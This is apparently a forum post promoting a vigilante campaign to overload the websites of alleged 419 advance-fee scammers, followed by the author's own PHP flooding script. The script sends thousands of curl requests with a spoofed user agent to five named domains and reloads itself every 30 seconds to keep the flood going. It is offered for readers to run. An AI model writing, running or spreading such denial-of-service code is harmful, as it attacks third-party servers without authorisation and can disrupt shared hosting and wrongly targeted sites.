419 Flashmob

    Found this interesting site a while back about a campaign to hurt the 419 scammers.

    The main site is at http://www.artists-against-419.mugus.com/FlashMob.shtml#tools

    and their concept is to overload the websites of the scammers so that they get shut down, have to change hosts etc. Anything to make their lives difficult.

    And they use the flashmob concept where a large number of people act at the same time.

    Their scripts range from the very basic to a linux tool. I've written a php version:

    <html>
<head>
<META HTTP-EQUIV=Refresh CONTENT="30; URL=http://www.mysite.com/flashmob.php/"> 
</head>
<body>
<?php
function hit419($url) 
{
  $user_agent='Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)';
  $ch = curl_init(); 
curl_setopt ($ch, CURLOPT_URL, $url); 

curl_setopt ($ch, CURLOPT_USERAGENT, $user_agent); 

curl_setopt ($ch, CURLOPT_HEADER, 0); 

curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); 

$result = curl_exec ($ch); 

curl_close ($ch); 

}//function hit419($url,$user_agent) 

$sites = array('www.trustmeridien.com',

'www.opbanking.com',

'www.equitytrustenterprises.com',

'www.afriswiss.com',

'www.petersonclark.com');



echo 'Time to start....<br>';

$hammerem=1;

while($hammerem < 2000 )

{

foreach($sites as $site)

{

hit419($site);
}
  $hammerem++;
  echo " pass $hammerem <br>";
}
echo "Completed $hammerem times";
?>
</body>
</html>
